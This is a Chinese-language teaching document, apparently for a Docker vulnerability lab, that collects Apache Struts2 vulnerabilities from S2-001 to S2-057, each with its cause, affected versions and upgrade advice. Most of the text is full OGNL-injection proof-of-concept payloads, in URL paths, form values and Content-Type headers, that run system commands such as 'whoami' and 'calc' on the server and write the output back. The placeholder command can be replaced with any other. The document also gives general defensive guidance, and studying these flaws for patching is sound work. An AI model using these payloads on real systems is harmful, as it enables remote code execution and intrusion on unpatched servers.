Struts2漏洞合集(一) 教学文档
0x00 环境搭建
使用Docker环境进行漏洞复现:
- 下载靶场环境
- 进入靶场目录
- 编译环境:
docker-compose build - 启动环境:
docker-compose up -d - 访问靶机8080端口进行练习
- 关闭当前环境:
docker-compose down -v
0x01 OGNL基础
OGNL (Object-Graph Navigation Language)是一种功能强大的表达式语言:
-
三要素:
- 表达式(Expression):规定OGNL操作要执行的内容
- 根对象(Root Object):操作的目标对象
- 上下文环境(Context):操作执行的环境,Map结构(OgnlContext)
-
触发途径:
- 修改StaticMethodAccess:
_memberAccess["allowStaticMethodAccess"]=true - 创建ProcessBuilder对象执行命令
- 修改StaticMethodAccess:
0x02 S2-001
原理:用户提交表单数据验证失败时,后端使用OGNL表达式%{value}解析参数值并重新填充到表单中。
影响版本:Struts 2.0.0 - 2.0.8
POC:
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),
#f.getWriter().close()
}
修复建议:升级到Struts 2.0.9或XWork 2.0.4
0x03 S2-005
原理:通过unicode编码(\u0023)或8进制(\43)绕过安全限制,执行OGNL表达式。
影响版本:Struts 2.0.0-2.1.8.1
0x04 S2-007
原理:类型转换出错时进行错误的字符串拼接,导致OGNL语句执行。
影响版本:Struts 2.0.0 - 2.2.3
POC:
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false"),
#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,
@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream()))
修复建议:升级到Struts 2.2.3.1
0x05 S2-008
原理:Cookie拦截器错误配置可造成OGNL表达式执行。
影响版本:Struts 2.1.0 - 2.3.1
POC:
/devmode.action?debug=command&expression=#context["xwork.MethodAccessor.denyMethodExecution"]=false,
#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),
#f.setAccessible(true),#f.set(#_memberAccess,true),
#a=@java.lang.Runtime@getRuntime().exec("whoami").getInputStream(),
#b=new java.io.InputStreamReader(#a),
#c=new java.io.BufferedReader(#b),
#d=new char[50000],
#c.read(#d),
#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),
#genxor.println(#d),#genxor.flush(),#genxor.close()
修复建议:升级到Struts 2.3.18或更高版本
0x06 S2-009
原理:绕过ParametersInterceptor保护,将恶意表达式注入字符串变量。
影响版本:Struts 2.1.0 - 2.3.1.1
POC:
/ajax/example5?age=1&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),
+%23_memberAccess[%22allowStaticMethodAccess%22]=true,
+%23a=@java.lang.Runtime@getRuntime().exec(%27whoami%27).getInputStream(),
%23b=new+java.io.InputStreamReader(%23a),
%23c=new+java.io.BufferedReader(%23b),
%23d=new+char[51020],
%23c.read(%23d),
%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),
%23kxlzx.println(%23d),
%23kxlzx.close())(meh)&z[(name)(%27meh%27)]
修复建议:升级到Struts 2.3.1.2
0x07 S2-012
原理:重定向结果从堆栈中读取并使用注入的代码作为重定向参数,导致二次评估。
影响版本:Struts 2.1.0-2.3.13
POC:
%25%7B#a=(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22whoami%22%7D)).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new%20java.io.InputStreamReader(#b),
#d=new%20java.io.BufferedReader(#c),
#e=new%20char%5B50000%5D,
#d.read(#e),
#f=#context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22),
#f.getWriter().println(new%20java.lang.String(#e)),
#f.getWriter().flush(),
#f.getWriter().close()%7D
修复建议:升级到Struts 2.3.14.3
0x08 S2-013/S2-014
原理:<s:a>和<s:url>标签的includeParams属性设置为all时,会解析OGNL表达式。
影响版本:Struts 2.0.0-2.3.14
POC:
?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D
%40java.lang.Runtime%40getRuntime().exec('whoami').getInputStream()%2C%23b%3Dnew%20j
ava.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3
Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.Servlet
ActionContext%40getResponse().getWriter()%2C%23out.println('p%3D'%2Bnew%20java.lang.Stri
ng(%23d))%2C%23out.close()%7D
修复建议:升级到Struts 2.3.14.2/2.3.14.3
0x09 S2-032
原理:启用动态方法调用时,可传递恶意表达式执行任意代码。
影响版本:Struts 2.3.20-2.3.28(2.3.20.3和2.3.24.3除外)
POC:
/index.action?method:%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%2c
%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse()%2c
%23w%3d%23res.getWriter()%2c
%23s%3dnew+java.util.Scanner(%40java.lang.Runtime%40getRuntime().exec(%23parameters.cmd%5b0%5d).getInputStream())%2c
%23str%3d%23s.hasNext()%3f%23s.next()%3a%23xx%2c
%23w.print(%23str)%2c
%23w.close()%2c1%3f%23xx%3a%23request.toString&cmd=whoami
修复建议:升级到Struts 2.3.20.3、2.3.24.3或2.3.28.1
0x0A S2-045
原理:Jakarta插件处理文件上传时,通过修改Content-Type头触发OGNL表达式执行。
影响版本:Struts 2.3.5-2.3.31, 2.5-2.5.10
POC:
"%{(#xxx='multipart/formdata').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).
(#cmd='"whoami"').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)).
(#process=#p.start()).
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).
(#ros.flush())}"
修复建议:升级到Struts 2.3.32或2.5.10.1
0x0B S2-046
原理:通过恶意的Content-Disposition值或不合适的Content-Length头触发OGNL表达式执行。
影响版本:Struts 2.3.5-2.3.31, 2.5-2.5.10
POC:
%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].
addHeader('X-Test',1+99)}\x00b
修复建议:升级到Struts 2.3.32或2.5.10.1
0x0C S2-052
原理:REST插件解析XML文件时调用XStreamHandler进行反序列化,导致远程代码执行。
影响版本:Struts 2.5-2.5.12
漏洞利用:
- 修改请求扩展名为.xml或Content-Type为application/xml
- 发送恶意XML payload
修复建议:
- 升级到Struts 2.5.13
- 停止使用REST插件
- 限制服务端扩展类型:
<constant name="struts.action.extension" value="xhtml,,json" />
0x0D S2-053
原理:处理Freemarker标签时使用不恰当的编码表达导致远程代码执行。
影响版本:Struts 2.0.1-2.3.33, 2.5-2.5.10
POC:
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).
(#cmd='calc').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)).
(#process=#p.start()).
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).
(#ros.flush())}
修复建议:
- 避免在Freemarker结构代码中使用可写属性
- 升级到Struts 2.5.12或2.3.34
0x0E S2-057
原理:当struts.mapper.alwaysSelectFullNamespace设置为true且namespace值缺失或使用通配符时,可控制namespace并带入OGNL执行。
影响版本:Struts 2.3-2.3.34, 2.5-2.5.16
POC:
/${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#ct=#request['struts.valueStack'].context).
(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).
(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ou.getExcludedPackageNames().clear()).
(#ou.getExcludedClasses().clear()).
(#ct.setMemberAccess(#dm)).
(#cmd=@java.lang.Runtime@getRuntime().exec("calc"))}/actionChain1.action
修复建议:
- 升级到Struts 2.3.35或2.5.17
- 固定package和result的param标签的namespace值,禁止使用通配符
通用防护建议
- 及时升级Struts2到最新版本
- 禁用动态方法调用
- 限制可接受的参数名称
- 对用户输入进行严格过滤
- 生产环境关闭devMode模式
- 使用安全防护设备监控和拦截攻击流量